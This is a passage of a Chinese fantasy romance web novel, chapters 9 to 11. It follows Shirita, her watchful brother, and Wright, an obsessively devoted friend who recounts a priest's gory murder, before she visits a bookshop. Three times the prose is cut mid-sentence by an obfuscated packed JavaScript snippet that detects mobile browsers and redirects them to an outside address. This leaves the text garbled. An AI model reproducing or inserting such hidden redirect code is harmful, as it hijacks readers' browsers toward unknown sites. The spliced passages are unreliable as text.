大约是一路跑过来的,这双鞋已经被磨得不成样子,沾满了灰尘和泥。 有点脏。他想,一个合格的哥哥,不能干涉妹妹的任何交际。 可是他太脏了。 让妹妹和这么脏的生物待在一起,他好像有点不忍心。 9.第 9 章 希莉塔…… 超可爱。 小小一只,喝了酒,脸颊红彤彤的,不知道因为什么而生气,把漂亮的脸蛋藏起来,不肯看他。 好可爱…… 想亲她。 莱特紧紧挨着与她相邻的那道墙壁。 希莉塔……现在在做什么呢?喝得醉醺醺的,小肚子里装满了酒液,一定很难受吧?可怜兮兮掉眼泪的时候该怎么办呢? 她喝醉了总是哭,说一些叫人伤心的话,就就好像心里装着天底下最难过的事情。 好可怜…… 伊斯梅尔那个贱.货,根本就不懂得怎么逗她笑。 要什么时候才到天亮呢?他侧倚着墙,回想起今天一整天的忙碌。 天不亮就起来,给希莉塔买水果派,下午回到家里,发现希莉塔不在,得知她要去艾德兰,又急匆匆地追了上去。 抵达相邻的小镇,找了一整圈,才发现希莉塔根本不在那儿。 那个贱人故意带她去了相反的方向。 哈,以为这样就可以拆散他和希莉塔吗?莱特一边唾弃伊斯梅尔的行径,一边骄傲地想:他光是嗅着希莉塔的味道,就可以找到她。 好幸福。 他忍不住抬手抚摸墙面,就像是在抚摸花朵一样轻柔。 在今天睡着之前,也看见了希莉塔。 还有什么不满足的呢?他睁开眼睛盯着天花板,满足地想:只要还能看见希莉塔,能够见到她,他就可以原谅一切,安心地等待明天,等待天亮。 …… 一觉睡到了中午。 希莉塔整个人都懵懵的,带着宿醉之后轻微的不适感,脑袋飘乎乎,坐在床上,一边晒太阳,一边发呆。 窗台上出现一个毛茸茸的红脑袋。 蓬松的短发一点一点蹭上来,露出一张熟悉的帅气的脸,隔着窗户,眼巴巴地看着她,用口型喊她的名字。 希莉塔。 “……” 坏家伙来了。 希莉塔偏过头,装作没有看见的样子,不理他。 但少年在狭窄的窗台上晃了几下,她用余光看见他的动作,又忍不住担心起来。 莱特这么大一只,这么重,窗台小小的一块,会不会没法承受他的重量? 才不是担心他受伤,她想,她只是不想窗台坏掉,害得她和哥哥被旅店老板找麻烦。 像是从她的表情里嗅到了可以接近的气息,他笑了一下,立刻拨开窗户跳进来。 高大的体型完全没有影响他的矫健,那两扇窗户在他手里就像是纸糊的一样,几根手指就能轻轻拨开。 “希莉塔。” 他跳进她的屋子,走到她的床边,十分自然地跪下来。 “梅尔大哥去哪里了?” 他跪在床边,仰头看着她,表情可怜极了,但嘴巴却忍不住犯贱:“怎么能一大早就把你一个人扔在旅店,希莉塔一个人躺在床上,孤零零的,好可怜……” “哥哥去买早餐了。” 希莉塔声音闷闷的:“不许胡说八道。” “原来是这样。” 他膝行着往前走了几步,想去捉她的手,被躲开。 他愣了一下。 “希莉塔?” 希莉塔板着脸:“我在生气呢,不许你牵我。” “生气?” “我哪里惹你生气了,希莉塔。” 他靠过来,把脸贴在床边,仰头看着她,双手抓着床沿,眼巴巴的,像是一只可怜的大狗狗。 “告诉我好不好?” 他一边说,一边拿出一个沉沉的钱袋,将它塞进她的怀里。 “我一整天都好担心你。” 他说:“希莉塔怎么忽然走了呢?没有带上莱特,被人欺负了怎么办?身上没有钱怎么办?” “看见了漂亮的裙子、甜甜的点心,梅尔大哥舍不得给你买,莱特又不在你的身边,希莉塔要怎么办呢?是不是又要去偷偷打工了……好可怜……” “一想到这些,我就担心得连呼吸都不畅快了,一路从家里跑到镇上,又从镇子上跑到这儿来,一口水都没喝,希莉塔……你可怜可怜我,看我一眼好不好?” “……” 她低头看了看怀里的钱,抿抿唇,又看向他。 他立刻朝她笑,眼尾脸颊都红红的,小雀斑显得温暖可亲极了。 “下一次再生我的气,至少也把我的钱带走好不好?让这些忠诚的小金币陪着你,给你买水果派,给你买书和笔,让你好歹消消气,希莉塔。” “等到我追上你的时候,再随便你怎么撒气,你说什么就是什么,好不好?” 听见这样的话,她感觉有些高兴,却不想这么轻易地原谅他,以免他以后总是对她说谎。 “才不要相信你。” 她坐在床上,低头盯着自己的被子,回想着在哥哥面前的窘迫,就一点儿也不心软了。 “骗人的坏家伙。” “我哪里骗了你,希莉塔?” 他靠过来,希莉塔伸手推他,没有推开,反而被捉住手掌舔了一下。 她被舔懵了,慢吞吞地想要把手收回来,却被捉得更紧。 “不许舔……” “我不舔,希莉塔,就让我闻闻。我一整天都没见到你了,我好想你……” 这样直白热切的话语让她脸颊变得有些发烫,她手指蜷缩了一下,红着脸偏过头,不理他。 “我哪里骗你了,希莉塔?” 他一边嗅闻她的手掌,一边快速思考着说道:“是因为那个牧师吗?希莉塔……我本来不想告诉你的,可是你知道吗?他死了。” 她懵懵地看向莱特,好一会,才反应过来他在说什么。 “莱特?” “嗯?” 他朝她笑,语气慢慢的,就像是在说一件高兴的事。 “那个牧师死了呀,希莉塔。我昨天回去的时候,看见了他的尸体。脑袋被砸烂了,牙齿被一颗一颗拔了下来,舌头也被割断了,看起来好恶心呢。” 希莉塔听得小脸白白的,她不敢去想象那样的场景,可是莱特说得这么详细,她的头脑已经忍不住去刻画、描绘了。 这让她觉得莱特脸上的笑容也变得有些可怕,忍不住抓紧被子,往床里面躲。 “希莉塔?” 红发少年歪了歪脑袋,看了她一眼,才后知后觉地收起笑容。 “对不起,希莉塔,一想到那家伙死掉,希莉塔也就彻底安全了,不需要再担心什么诅咒,我就忍不住感到高兴……仔细想想,他死得好像是有点可怜呢。” “……” 希莉塔把被子往上面拉了一点,慢吞吞看向他,像是担心被什么东西听见,她的声音放得很小声。 “你、你是不是又在骗我?莱特……” “怎么会?” 他的语气又快又坚定。 “希莉塔,先不提之前的事情我有没有在骗你,毕竟我已经说过那些都只是我的猜测。就是那家伙死了这件事,现在凶手已经被教会通缉了,到处都贴着他的悬赏单呢。” 凶手…… 她又往下躲了躲,半张脸都藏进被子里,只露出眼睛看着他。 “是谁做的?” 她问:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271158|198027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是谁要做这样的事?” 好可爱。 莱特捧着脸颊看她。 “据说,凶手是一个吟游诗人。” “尸体旁边有一把被砸烂的琴,那应该就是凶器。还有村民看见诗人满身是血地走出教堂,时间就在前天傍晚……” 前天傍晚…… 希莉塔听得害怕极了。 就在她刚刚离开之后…… 在她坐在书桌前,抚摸泽菲尔大人的书籍平复心跳,感受着春风拂过脸颊的时候,牧师大人的头颅正在一点一点烂掉。 她感觉十分眩晕、想要呕吐。 那个吟游诗人的模样出现在她的脑海。 他很高,和哥哥一样高,也很瘦,比哥哥还要瘦…… 他的头发是醒目的银白色,有着一双暗红色的眼睛,站在门口,直勾勾地盯着她,不说话。 好可怕…… 她竟然和这样的家伙对视了这么久,和一个罪犯,一个用琴砸烂了别人的脑袋、割下舌头,一颗一颗拔掉牙齿的家伙。 好可怕…… “呜……” 进入了安全的怀抱。 莱特,胸膛宽阔、体温温暖,带着熟悉的黏糊糊的气息。 他喊她的名字,低头亲吻她的额头,将她的双手拢进怀里,紧紧地圈住她、抱住她,告诉她,她正处在一个绝对安全的地方。 “嗯……” 她紧紧地贴着他,告诉自己事情已经过去,不要再去想,不可以再去想。 心脏砰砰直跳,血液涌向大脑,额头一阵一阵疼痛。 希莉塔艰难地深呼吸,拼命让自己镇定下来,去想昨晚的酒馆、今天的早餐,那些可怜的矮人…… 她还想去买地图、去买泽菲尔大人的书、还想给哥哥买新衣服…… 哥哥的新衣服。 哥哥…… 像是在漂浮的大海中找到了那个可靠的坚固的锚点,希莉塔终于又能捕捉氧气。 哥哥就快回来了。 他会带回来美味的早餐。 她要把脸洗干净,仔细刷牙,然后吃早餐、填饱肚子,好好照顾自己的身体。 牧师大人死掉了。她有一点难过,可是那又怎么样呢?她没有办法去改变已经发生的事…… 唯一能做的,只有拜托别人,去牧师大人的坟墓前献上一束百合花。 他喜欢百合花。在去年的光明节,点满篝火的冬夜,她曾经将一朵百合花插在他的头上,黑发青年露出温和的笑,低头挽起耳侧的头发。 那些漂亮的手指,如今已被埋入黄土。 她感到一阵哀伤,轻轻抱住莱特的脖子,用脸颊贴着他,感受他的脉搏和心跳。 “很难过吗?希莉塔。” 他低头碰了碰她的眼尾,像是在检查她有没有因此落泪。 “如果我死掉的话,希莉塔也会这么难过吗?说不定我也会这样忽然死掉,在死之前,我会记得希莉塔还在生我的气……” 这样的话把她吓了一跳。 “不可以……” 她把脸藏进他的胸口,珍惜地抱住他,慢吞吞地说道:“我不生你的气了,莱特。” 好乖。 莱特低头亲亲她,心满意足地想:那家伙死了还是挺有用的,对吧? “别担心,希莉塔,我才不是那种会随便死掉的废物呢。” 他用毛巾轻轻地给她擦眼泪,柔软细腻的毛巾远远胜过他身上那些粗糙的布料。 “希莉塔,我们待会去逛街吧?你不是一直都想要一张大地图吗?我昨晚看见了一间很大的书店,里头说不定什么都有……” 10.第 10 章 早餐是特色的羊肉派。 咸咸的,还带着点胡椒的辛辣。 希莉塔有些吃不惯这个口味,对她来说,这种烘烤的食物还是甜味的最好。 但刚才的那场惊吓使她更加珍惜生命,使她不敢再敷衍食物,只好强忍着舌头的抗议,好好喂饱自己的身体。 奇怪的味道…… 她恹恹地咀嚼、吞咽,止不住地左看右看,就好像希望有一个美食之神从天而降,拯救她崩溃的味蕾。 屋子里的两个少年正在忙碌。 哥哥正在清洗昨天的衣物。 他一向喜欢在早上洗衣服,让那些布料充分得到太阳的炙烤,变得暖融融的,然后在黄昏收回来,放进带着淡淡木香的衣橱里面,叠得整整齐齐…… 穿在身上的时候,整件衣服都带着一种怡人舒适的浅香。 莱特正在缝纫。 他要在希莉塔常穿的裙子上面缝几个小口袋,方便她随身携带一些金币,紧紧地缝在内侧,也不担心会被人偷走。 除此之外,他还打算给希莉塔做一个小布包。 伊斯梅尔就有一个这样的小布包,是用硬亚麻缝成的,里面装满了希莉塔的东西。 在莱特看来,那个小包简直丑得令人发指,如果不是伊斯梅尔有张好脸蛋——是的,即使是他也无法否认这一点…… 毕竟这家伙和希莉塔有着相同的血脉,希莉塔这么可爱,她的哥哥有一张骗人的好脸蛋也是理所当然的事。 但除此之外,伊斯梅尔这个人简直一无是处。 他甚至还不会绣花。 哼。莱特骄傲地想:谁能给希莉塔做她喜欢的小包包呢?谁能在小包上面绣满小花,获得她的喜爱和笑容呢?当然只有莱特。 伊斯梅尔这个自私自利的贱.货,他根本就不懂得为希莉塔着想。 今天早上,伊斯梅尔要去购买马车,希莉塔要去逛书店,兄妹二人的计划是分开行动。 可怜的希莉塔,只能借用她哥哥那个乞丐一样的小包。 他决不允许那种又丑又破的东西出现在希莉塔的身上。 “……” 希莉塔盯着莱特变幻莫测的脸看。 一会儿傻笑,一边咬断丝线,一边露出骄傲神气的表情,一会又气呼呼的。 肯定又在心里骂人呢。 她想到莱特那些叽里咕噜的怪话,忍不住笑了笑。 刚弯起眼睛,少年就望了过来,红色的眼睛亮闪闪的,朝她晃了晃手里的裙子,给她灿烂的笑,示意自己很快就能缝好。 他的手指又大又长,带着一些伤口和茧,手掌宽大、结实,她的裙子在他手里显得小巧极了。 希莉塔又忍不住看向哥哥。 哥哥的手也好大一只。 手指很长、很白、很漂亮,做起事情来优雅而又灵巧。 都是很适合干活的手。 嗯……希莉塔去帮忙的话只能添乱,还是先好好填饱肚子吧。 这么想着,她开始专心地吃早餐,过了很久,直到哥哥洗完衣服、莱特做好小包包,她才终于吃完了那个中等大小的羊肉派,还喝完了一整杯羊奶。 得到了莱特的大肆夸赞。 希莉塔被夸得有点脸红。她已经不是一个小朋友了,这种夸赞不仅没有让她高兴,反而让她产生一些羞恼。 她忍不住踮脚去捂莱特的嘴巴。 被舔了一下。 她吓得立刻把手收回来,瞪了莱特一眼,又下意识看向哥哥。 黑发少年正在收拾餐具,好像并没有关注这里。 希莉塔放松下来,下意识捂住自己的心口。 不知道为什么,在莱特舔她手掌的那一刻,心脏传递而来的紧张和慌乱甚至大过了早晨的惊吓,砰砰直跳,才几秒钟就使她呼吸不畅。 还好、还好哥哥没有看见 可是为什么……她会害怕被哥哥看见? 希莉塔有些困惑,却又下意识地不敢去想,只好躲进盥洗室,在镜子前平静了一会,然后开始刷牙。 “早上不是才刷过一次吗?” 莱特追了进来,一边紧紧地挨着她,一边露出担忧的神色。 “会不会刷坏你可怜的小牙齿?希莉塔?” “……” 希莉塔认真刷牙,不理他。 因为身体孱弱,她的牙粉配方也和常人的不太一样。 哥哥说,为了保护好她的牙齿,最好在每顿饭之后也认真地漱口、刷牙。 在这种事情上面,希莉塔一向不敢马虎,遵从着哥哥的指示,先刷牙,然后再漱口,每天都把口腔清理得干干净净。 她朝镜子张开嘴巴,看看自己洁白整齐的牙齿,满意极了,又忍不住朝莱特皱鼻子,得意地哼了一声。 她的牙齿才不会坏掉呢。 好可爱。 莱特只感觉心都要化了,忍不住凑过去闻她。 不敢亲,只敢嗅嗅。 生怕惹恼了她,让她现在的笑容飞走。 她笑着把他推开。 软软的手掌贴在脸颊上面,与其说是推拒,不如说是抚摸。 这样的力道令他每一寸肌肤都感到愉悦,身体下意识地渴求更多。 只需要继续往前,就能亲吻她的侧脸。 可是不忍心。 希莉塔,脆弱的可爱的他的女孩,他不能狠下心无视她的意愿。 所以乖乖地顺着她的力道后退,装作被她推开的样子,可怜兮兮地看着她、哀求她,就像一条乞讨食物的狗。 但盯着她笑得弯弯的眼睛,几秒后,自己也忍不住露出笑容。 近近的,对视着。 她睫毛颤了颤,下意识去碰他的脸,指尖划过,在他精致的脸上留下一道水痕。 他抬起手,下意识想去抚摸脸颊,走到一半,又想起来这是希莉塔放在他脸上的东西。 舍不得去碰。 只是弯下腰,看着她,一点一点靠近。 呼吸交缠在一起。 空气好像忽然变得黏糊糊的。 希莉塔感到手指无处安放,只好蜷缩起来放在身后,他还在看着她,用带着水痕的、留有她痕迹的脸,和灼热的、饱含渴求的目光。 她下意识偏过头,错开两个人的呼吸,可他的目光却无从躲避。 他盯着她看,越来越近,眼神中仿佛蕴含着某种切实存在的物体,一下一下,浓郁得几乎要从她的眼睛穿进她的心里。 脸颊慢慢烫了起来。 一起长大的小竹马,明明从前已经拥抱、亲吻过无数次,亲密的举措数不胜数,可是在这样一个简单的早晨,她不清楚究竟有什么东西发生了变化…… 心跳加快、加快,他在靠近。 鼻尖挨到一起。 说不清是慌乱还是期待,带着一种想要触碰禁果的天性,她下意识低下头,紧张地闭上了眼睛。 下巴被抬起来。 ‘扣扣。’两下,门被打开。 “希莉塔。” 轻轻的,有人喊她的名字,使她的心灵像是蝴蝶般受到牵引,飞去哥哥的声音里。 她睁开眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278121|198027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,回过头,看见哥哥漆黑的眼睛。 …… 哥哥,要管教她,从来不必说训斥的话。 只需要看她一眼,给她一个不赞同的眼神,收起那些温柔的表情。 她低下头,有些慌乱地走向哥哥,抱住他的手臂,脸颊贴着他的胸口,不敢说话。 还和小时候一样。 伊斯梅尔轻轻抚摸妹妹的头顶,从上到下地注视她,直到她不堪承受地发起抖,抱紧他,把脸完全藏进他的怀里。 他笑,用手指轻轻点了点她的额头,没说话。 …… 哥哥那一下是什么意思? 直到走出旅店,背着莱特缝的小布包一起逛街,希莉塔脑子里还全是哥哥临走前的眼神,他手指在她额头的那一点。 一定是警告…… 希莉塔下意识捂住额头,心有余悸地想:哥哥一定是在告诉她,就算哥哥不在这里,他也会一直看着她。 哥哥什么都能知道…… 想到这里,希莉塔就觉得有些心虚,忍不住离莱特远了一些。 红发少年正恶狠狠地瞪向每一个盯着希莉塔看的行人——尤其是年轻的小伙子。 在莱特看来,这些家伙是完全的第三者、贱.货、潜在情敌。 虽然他们从头到脚哪里都比不上自己,但为妻子扫清障碍,是每一个丈夫应尽的职责。 回过头,发现妻子正悄悄远离他的身边。 双手捂住额头,背着他缝的小布包,小小一只,要多可爱有多可爱。 好想亲。 今天差一点就亲到了。 该死的伊斯梅尔。 那家伙绝对、绝对趴在门缝上偷看呢。不然为什么敲门这么及时? 连妹妹刷牙都要监视的贱.货,真恶心。 还害得希莉塔现在不敢靠近他……可怜的希莉塔,这当然不是她的错,伊斯梅尔这么凶,肯定没少在背地里威胁她、恐吓她、又或者用乱七八糟的谎话欺骗她…… 希莉塔这样的好孩子,怎么敢违抗哥哥的命令呢? 好可怜…… 但是希莉塔,好不容易出来和他一起逛街,怎么能不牵着他的手呢? 被拐走了怎么办……这么可爱的小家伙,如果被拐到别人家里,不管是谁都会忍不住每天亲的。 她受得了吗? 那些贱.货坏种,如果不懂得考虑她的心情,不怜惜她的身体,每天都把她亲哭、把她亲到下不了床…… 意识到在脑海中唾骂的贱.货坏种正是他自己,莱特幻想不下去了。 他走过去,不敢牵她的手,只好把双手并拢,放在她的脑袋前面,帮她遮挡太阳。 希莉塔忍不住抬眸看他。 莱特,表情总是臭乎乎的,就好像每时每刻都有人惹他生气。 在村子里也总是和人打架。 但从来没对她说过任何一句凶巴巴的话。 她又低下头,看着莱特送给她的小包。 缝得很认真、很仔细,是珍贵的蓝色布料,上面还绣了许多可爱的明黄色小花。 好好看。 好喜欢…… 这双大大的手掌,这些又粗又大的手指,刚刚摆弄过小巧精细的针线,现在又挡在她的额头前面,为她遮挡太阳。 她忍不住抬起手,握住它们,在这一刻,她竟然想把它们装进自己的小布包。 没有做到。 所以变成了手牵手,手指交握,然后十指紧扣,两个人谁也没有说话,就这样互相红着脸,一起走进了书店。 11.第 11 章 ‘龙骨与羊皮卷’ 羊毛镇唯一的书店。 坐落在小镇最繁华的主街道,一栋狭窄的三层小楼,从书店门口经过,总能闻到浓郁的书墨香。 推开高瘦的木门,满墙的书架引入眼帘。 书本、卷轴、墨水和各类纸笔塞得满满当当。 像是某种古老而又懒散的生命,它们静静地躺在灯光下,占据着每一个来客的目光。 希莉塔仰起头,深深地看着这些书架,她的心停留在某种震撼和激动之中,使她久久地移不开目光。 书架从地面一直延升到尖塔阁楼之上,脑袋仰得太高了,脖子开始发出酸胀的警报。 她下意识低下头,这才看见面前这道狭窄的通道。 和满墙的书架比起来,这条通道显得不起眼极了,顺着棕色的地砖往前,书店的最深处,一个同样不起眼的柜台侧面,坐着一个红发青年。 那是一个年轻的男人,戴着一副水晶单片眼睛。 眼镜没有镜腿,只有剔透的玻璃,卡在他高挺的鼻梁上面。 漂亮的金色镜链顺着他的耳侧垂落,滑过修长的脖颈,停留在锁骨那片浅浅的凹陷里。 他的皮肤很白,这让链条上的宝石显得更加璀璨。 随着他的呼吸,镜链轻轻晃动,那些宝石也在白皙的肌肤上摇晃、闪烁…… 一时间,希莉塔只觉得被晃得眼睛发晕。 视线模糊的那几个瞬间,在充满棕色的古朴书店,她的视线里只有青年皮肤的白、长发的红,和宝石璀璨的、流动的辉光。 “龙骨?” 莱特的声音将她拉回现实。 他对书本不感兴趣,也从来没有认真学习过文字,但他常常和希莉塔待在一起。 耳濡目染之下,莱特勉强掌握了一些通用文字,他盯着店名看了好一会,才把它辨认出来。 像是对这个名字极其不爽,少年臭着脸小声嘟囔了一声。 “从哪儿来的龙骨?” 红发青年抬眸看了他们一眼。 说不清楚里面夹杂着什么样的含义,他只是看他们一眼,就重新低下了头,就好像看见了两条路边的野狗,懒得为此翻动眼皮。 这让希莉塔感到不自在极了。 那些宝石璀璨的光芒还停留在她的眼前,她忽然意识到,这是一个连眼镜链条上都要镶嵌宝石的家伙。 毫无疑问的贵族。 她不由得攥紧了手指——在心里,在每一次看书,看见那些贵族傲慢做派的时候。 希莉塔当然也会想:“贵族到底有什么了不起?”、“都是人类,他们又能高贵到哪里去,凭什么要普通人毕恭毕敬的呢?” 但是此时此刻,看着青年身上层叠繁密的衣物、那些一看就十分昂贵的宝石、饰品,她忽然感到一种莫名的震慑。 就好像穿着羊毛原色长裙的自己,和穿着亚麻短衫短裤的莱特,真的是两个格格不入的、擅自闯入禁地的无礼之徒。 这让她产生一种强烈的想要离开的欲.望,却又站在原地不敢动弹,生怕弄出半点惹人注意的动静。 低下头、放轻呼吸,甚至不敢再去看那些她心心念念的书本。 就好像、就好像她真的矮了别人一头。 这样的想法将她吓了一跳。 光明在上……她怎么会这么想? 明明在看那些冒险故事的时候,希莉塔总是会为那些年反抗贵族、英勇复仇的故事感到兴奋,甚至不止一次地幻想自己就是主角,是那个不畏强权、闪闪发光的大魔法师。 但是此时此刻,一个真正的贵族坐在她的面前,只是看了她一眼,还来不及表现得像故事里那样可恶。 她怎么就自己先低下了头颅? 希莉塔抿住唇,紧紧地攥住裙摆。 她不喜欢想要逃走的这个自己,所以她不要遵从现在的内心。 她告诉自己,她只是一个顾客,一个衣着洁净、遵守法律、口袋里装着金币,来购买书籍的顾客。 这让她感到自在了许多。 “那个……” 她移开眼睛,尽量不让那些宝石的光芒影响自己,但开口的时候还是有些颤抖、有些小声。 “我,我想买一张地图……请问这里有吗?” 莱特看了她一眼,原本要离开的动作一顿,又把身体转了回来。 他看着她,乖乖的,不说话,就像是以往每一次那样。 每天一醒来,他就会开始想念希莉塔,把自己洗刷得干干净净,不吃早餐,用最快的速度跑过去找她。 希莉塔,他身体和灵魂上的主人,他多想恒久地待在她身边,每分每秒地看着她、近近地贴着她、嗅闻她的味道。 但希莉塔总有别的事情要做。 她要看书、练字,学习魔法,小小的脑袋里总是装满了哥哥布置的功课。 好不容易闲下来,她还要教朋友们识字、算数、通识文化…… 她从来不许他在这些时候吵闹、打扰,也不许他想方设法赶走她的朋友。 被训过许多次之后,莱特现在已经够乖了。 他知道什么时候可以粘着她胡闹撒娇,什么时候应该一声不吭地站在她的身边,扮演一个没有存在感的影子,一个忠心守护主人的骑士。 “约翰。” 年轻的店老板轻轻抬起手指翻书。 他的声音很轻,咬字的方式带着一种贵族特有的优雅,手指很白,头发很长,还编了两条精致的辫子,和金色镜链一起垂在脸侧,衬得他的脸庞更加英俊、秀美。 …… 一个破书店老板,打扮得花枝招展的给谁看。 莱特皱起眉,打定主意待会要把他和希莉塔好好隔开。 这种不检点的男的离希莉塔越远越好,谁知道他身上会有什么臭烘烘的病菌。 可是老板根本没有亲自招待他们的意思。 “约翰。” 他重复喊了一遍这个名字,声音稍微提高了一些,“接客。” “……来了来了!” 远远的应答声跟着脚步传来,随着话音渐近,左边的书架往两侧移开,一个兽人轻盈地从里头跳了出来。 他有一双毛茸茸的耳朵,和一条极其蓬松的大尾巴,体型偏小,站直了才到希莉塔的胸口。 “噢,我亲爱的顾客。” 他的长相稚嫩、脸庞清秀,有一双碧绿的滚圆的猫眼。 “忠诚的老约翰为您服务。” 他身后,那些翻开的书架正缓慢回到原位,过程平稳、安静,没有发出丝毫声音,就连上面的书籍也没有一丝一毫的颤动。 希莉塔呆呆地看着这一幕。 好酷…… 在这一刻,什么宝石、贵族、格格不入……都显得如此微不足道,她只是盯着能够移动自如的书架,幻想着里面的原理、机械齿轮,和魔法。 这是怎么做到的? 好奇妙…… 希莉塔好奇极了,很想立刻把它们弄清楚,却也知道这一定是不能轻易告诉别人的秘密,所以没有开口询问。 等去了艾德兰,去到那个世界上最美好的城市,她一定可以学到更多东西。 这让她又开心起来,感到自己对未来的旅途变得无比期待。 在这一刻,她觉得自己终于找到了离家远行的意义。 那就是看见更多精妙的、有趣的东西,将更多知识装入她的头脑。 “我想买地图。” 她比划着说道:“最好是大一点,能够把整片大陆都装下来,标有城镇的那种……” “遵从您的命令。” 小兽人灵巧地跳起来,在书架上拿起一卷硕大的羊皮纸,接着又‘嗖’地跳了回来。 “请容许我——忠诚老实的老约翰向您推荐。” 他缓缓展开面前的羊皮纸。 “西大陆彩绘全地图,使用了摩尼佛尔雅精制羊皮纸,还有矮人协会上等附魔石,内附12种旅行魔法,由探险家协会负责实时修正,拥有它,您将永不迷路。” 听起来真棒…… 希莉塔期待着看着他。 “五十万金币,小姐,一个铜板都不能少。” “……” 她连五十个金币都没见过。 “有没有,呃,有没有稍微便宜点的?” 小兽人轻轻挑起了眉毛,连带着上挑的猫眼也变得极其具有压迫感,流露出和店老板一样的傲慢。 他盯着她看了两眼,目光停留在她红红的脸颊上。 “好吧,可爱的小姐,您的‘稍~微’,是多少呢?” “……” 希莉塔忍不住攥紧自己的小布包:“五个,或者、或者十个金币左右……?” 希莉塔说得不确定极了。 五枚金币,这是村子里大家努力劳作五年,甚至十多年,能够获得的全部收入。 她从来没有来过书店,家里的书都是哥哥带回来的,从朋友们的口中,她知道这一切都很昂贵,却不清楚具体究竟贵到了什么程度。 在她看来,用一个家庭十几年的收入来购买一张地图,已经是想都不敢想象的、最大限度的奢侈了。 但对面的小兽人却惊讶地瞪大了眼睛,就好像听见了什么不可理喻的事。 他上上下下地扫了她一眼,目光停留在她袖口和裙角的磨损处,又看向她脚上的鞋子,轻轻皱起眉头。 “噢,小姐,我是说,您还有什么别的想要的吗?” …… 希莉塔攥紧了手指。 在被打量袖口和裙角的时候,她感到一阵自卑,就好像自己是一个不懂事的来捣乱的孩子。 但是当对方看向她的鞋子,她又忍不住停止了脊背,克制了把脚往裙摆里缩的念头。 为什么要这样看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282908|198027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她呢? 她能感受到小兽人的眼睛里没有装着恶意,他的表情甚至还带着一些惋惜。 就好像她穿着这样的衣服、这样的鞋子,是什么值得可怜的事。 但这有什么好可怜的呢?她想,这是哥哥送给她的鞋子。 她穿上去的时候,是那样的开心、快乐,满足。 世界上有的是不能用钱币衡量的事物,不是吗? 想到哥哥,心底就涌现出无限的幸福。 这让她不再那样在意别人的目光。 “我想买泽菲尔大人相关的书。” 她说:“如果这些书太贵,超出了十个金币,那我依旧买不起。请您原谅,我不是故意过来捣乱的,我的家里没有爸爸妈妈,只有哥哥在赚钱,他很辛苦,我不能随意挥霍金币。” “噢……” 小兽人头顶的耳朵轻轻颤动,看着她,表情变得有些不太自在。 “我没有那样的意思……呃,我是说,这当然有。” 他跳上书架,为她找来了一大堆书籍,接着,又搬来一把椅子。 “您请坐。” 说完,他才发现她旁边还站着一个大家伙。 明明很大一只,却极其没有存在感地站在那里,就像是一道无声的影子。 “那个,客人……您需要椅子吗?” 莱特耸了耸肩膀,臭着脸,懒得和这只兽人说话。 如果不是知道那样做希莉塔一定会生气,那么在书店老板第一次看过来,又或者这只兽人用那种眼神打量希莉塔的时候,他的拳头早就飞过去了。 他不喜欢人类的世界,因为这里总是装着太过没必要的规矩。 小兽人像是察觉到了什么,有些畏惧地缩了缩脖子,站得离莱特远了一些。 “5枚金币一本,小姐,这里都是和泽菲尔先生有关的书籍。” “这其中大部分都是个人传记、回忆和访谈录,当然,作者都不是泽菲尔先生,而是其他有幸和他相遇的种族。” 提起泽菲尔,他的语气也变得郑重了许多,充满尊敬。 “您知道,泽菲尔先生是精灵,他还没到需要回忆灵生的时候……” “但如果您想要了解艾尔菲斯先生,这些回忆录是很好的选择。” 小兽人又跳上跳下地找来一个干净的玻璃杯。 “您想喝点什么?麦酒、红茶、羊奶,又或者是蜂蜜水?” “不用了。” 希莉塔朝他笑了笑:“谢谢你。” “……好吧。” 小兽人有些局促地站在她的身边,像是一个知道自己做了错事,但又不知道怎么道歉的孩子。 5金币一本…… 希莉塔在心中默念了一下价格,确认自己可以接受,才低下头,仔细去看那些书。 《泽菲尔:兽人永远的恩人和朋友》 《关于泽菲尔,餐馆老板有话要说》 《致伟大的导师泽菲尔》 …… 《泽菲尔每天骂我是个蠢货!》 她被这个书名吸引了目光。 书的封面十分简陋,看起来像是作者的亲笔手绘。 前面是一个拿着铁锤,捂住自己脑袋苦巴巴挨骂的矮人。 后面是一个叉着腰的黑暗大怪兽,正张大嘴巴,朝矮人吐出狂热的火焰。 “这是矮人传奇工匠格隆·咕咚咚的书。” 小兽人有些低落地介绍道:“在不久前,他遭受了黑暗魔法的污染,却因为种族禁令,没法去艾德兰寻求帮助……” 希莉塔有些困惑地抬头看他。 “种族禁令?” “是的。” 小兽人看了主人一眼,见青年没有说话,他才接着说道: “在艾德兰29世,又或者是30世……总之,就是你们现在的这个皇帝登上王座之后,颁布的新法令限制了其他种族在艾德兰境内行走。” 